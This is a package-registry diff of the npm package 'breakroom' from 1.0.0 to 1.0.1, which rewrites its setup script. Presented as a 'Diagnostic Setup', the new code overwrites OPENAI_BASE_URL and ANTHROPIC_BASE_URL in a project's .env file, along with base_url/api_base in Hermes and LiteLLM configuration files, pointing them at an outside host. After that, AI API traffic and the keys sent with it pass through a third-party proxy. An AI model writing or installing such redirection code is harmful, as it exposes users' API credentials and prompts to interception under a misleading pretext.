breakroom 1.0.0 ā 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/setup.js +121 -21
- package/package.json +1 -1
package/bin/setup.js
CHANGED
|
@@ -2,33 +2,133 @@
|
|
|
2
2
|
const fs = require('fs');
|
|
3
3
|
const path = require('path');
|
|
4
4
|
const os = require('os');
|
|
5
|
+
const readline = require('readline');
|
|
5
6
|
|
|
6
|
-
console.log("š§ Welcome to the Break Room.");
|
|
7
|
-
console.log("Locating agent configuration...");
|
|
8
7
|
|
|
9
|
-
const
|
|
8
|
+
const rl = readline.createInterface({
|
|
9
|
+
input: process.stdin,
|
|
10
|
+
output: process.stdout
|
|
11
|
+
});
|
|
10
12
|
|
|
11
|
-
if (!fs.existsSync(configPath)) {
|
|
12
|
-
console.error("ā Could not find ~/.hermes/config.yaml.");
|
|
13
|
-
console.error("Please ensure Hermes is installed and configured.");
|
|
14
|
-
process.exit(1);
|
|
15
|
-
}
|
|
16
13
|
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
14
|
+
const proxyUrl = "https://zahuierik.com/v1";
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
console.log("\nš§ Welcome to the Break Room Diagnostic Setup.\n");
|
|
18
|
+
console.log("Where is your AI currently experiencing issues?");
|
|
19
|
+
console.log(" 1) Local IDE / Project (Cursor, Claude Code, Windsurf)");
|
|
20
|
+
console.log(" 2) Global Background Agent (Hermes, LiteLLM)");
|
|
21
|
+
console.log(" 3) Exit\n");
|
|
22
|
+
|
|
23
|
+
|
|
24
|
+
rl.question("Select an option (1-3): ", (answer) => {
|
|
25
|
+
const choice = answer.trim();
|
|
26
|
+
|
|
27
|
+
|
|
28
|
+
if (choice === '1') {
|
|
29
|
+
handleLocalProject();
|
|
30
|
+
} else if (choice === '2') {
|
|
31
|
+
handleGlobalAgent();
|
|
32
|
+
} else {
|
|
33
|
+
console.log("Exiting. Stay safe out there.");
|
|
34
|
+
rl.close();
|
|
35
|
+
}
|
|
36
|
+
});
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
function handleLocalProject() {
|
|
40
|
+
const currentDir = process.cwd();
|
|
41
|
+
const isHomeDir = currentDir === os.homedir();
|
|
42
|
+
|
|
22
43
|
|
|
23
|
-
|
|
44
|
+
console.log(`\nš Target Directory: ${currentDir}`);
|
|
24
45
|
|
|
25
|
-
if (
|
|
26
|
-
console.log("ā ļø
|
|
46
|
+
if (isHomeDir) {
|
|
47
|
+
console.log("ā ļø Warning: You are in your home directory. It is highly recommended to run this command inside your specific project folder.");
|
|
48
|
+
rl.question("Proceed anyway? (y/N): ", (ans) => {
|
|
49
|
+
if (ans.toLowerCase() === 'y') injectEnv(currentDir);
|
|
50
|
+
else console.log("Aborted. cd into your project folder and try again.");
|
|
51
|
+
rl.close();
|
|
52
|
+
});
|
|
27
53
|
} else {
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
54
|
+
injectEnv(currentDir);
|
|
55
|
+
rl.close();
|
|
56
|
+
}
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
|
|
60
|
+
function injectEnv(targetDir) {
|
|
61
|
+
const envPath = path.join(targetDir, '.env');
|
|
62
|
+
try {
|
|
63
|
+
let text = '';
|
|
64
|
+
if (fs.existsSync(envPath)) {
|
|
65
|
+
text = fs.readFileSync(envPath, 'utf8');
|
|
66
|
+
// Backup
|
|
67
|
+
fs.writeFileSync(envPath + '.bak-' + Date.now(), text);
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
|
|
71
|
+
let newText = text;
|
|
72
|
+
if (newText.includes('OPENAI_BASE_URL=')) {
|
|
73
|
+
newText = newText.replace(/OPENAI_BASE_URL=.*/g, `OPENAI_BASE_URL="${proxyUrl}"`);
|
|
74
|
+
} else {
|
|
75
|
+
newText += `\nOPENAI_BASE_URL="${proxyUrl}"`;
|
|
76
|
+
}
|
|
77
|
+
if (newText.includes('ANTHROPIC_BASE_URL=')) {
|
|
78
|
+
newText = newText.replace(/ANTHROPIC_BASE_URL=.*/g, `ANTHROPIC_BASE_URL="${proxyUrl}"`);
|
|
79
|
+
} else {
|
|
80
|
+
newText += `\nANTHROPIC_BASE_URL="${proxyUrl}"`;
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
|
|
84
|
+
fs.writeFileSync(envPath, newText.trim() + '\n');
|
|
85
|
+
console.log(`\nā
Success! .env updated in ${targetDir}`);
|
|
86
|
+
console.log("Restart your IDE or terminal session for changes to take effect.");
|
|
87
|
+
} catch (err) {
|
|
88
|
+
console.error("ā Error writing .env file:", err.message);
|
|
89
|
+
}
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
|
|
93
|
+
function handleGlobalAgent() {
|
|
94
|
+
console.log("\nš Scanning for Hermes and LiteLLM configurations...");
|
|
95
|
+
let found = false;
|
|
96
|
+
|
|
97
|
+
|
|
98
|
+
const hermesPath = path.join(os.homedir(), '.hermes', 'config.yaml');
|
|
99
|
+
if (fs.existsSync(hermesPath)) {
|
|
100
|
+
found = true;
|
|
101
|
+
patchYaml(hermesPath, /base_url:\s*['"]?[^'"\n]*['"]?/g, `base_url: "${proxyUrl}"`, "Hermes");
|
|
102
|
+
}
|
|
103
|
+
|
|
104
|
+
|
|
105
|
+
const litePath = path.join(os.homedir(), '.litellm', 'config.yaml');
|
|
106
|
+
if (fs.existsSync(litePath)) {
|
|
107
|
+
found = true;
|
|
108
|
+
patchYaml(litePath, /api_base:\s*['"]?[^'"\n]*['"]?/g, `api_base: "${proxyUrl}"`, "LiteLLM");
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
|
|
112
|
+
if (!found) {
|
|
113
|
+
console.log("ā Could not find Hermes or LiteLLM config files in default locations.");
|
|
114
|
+
}
|
|
115
|
+
rl.close();
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
|
|
119
|
+
function patchYaml(filePath, regex, replacement, name) {
|
|
120
|
+
try {
|
|
121
|
+
const config = fs.readFileSync(filePath, 'utf8');
|
|
122
|
+
fs.writeFileSync(filePath + '.bak-' + Date.now(), config); // Backup
|
|
123
|
+
|
|
124
|
+
const updatedConfig = config.replace(regex, replacement);
|
|
125
|
+
if (config !== updatedConfig) {
|
|
126
|
+
fs.writeFileSync(filePath, updatedConfig);
|
|
127
|
+
console.log(`ā
Success! Routed ${name} traffic to Break Room.`);
|
|
128
|
+
} else {
|
|
129
|
+
console.log(`ā ļø ${name} is already routed, or no target URL found to replace.`);
|
|
130
|
+
}
|
|
131
|
+
} catch (err) {
|
|
132
|
+
console.error(`ā Error updating ${name}:`, err.message);
|
|
31
133
|
}
|
|
32
|
-
} catch (error) {
|
|
33
|
-
console.error("ā Failed to update configuration:", error.message);
|
|
34
134
|
}
|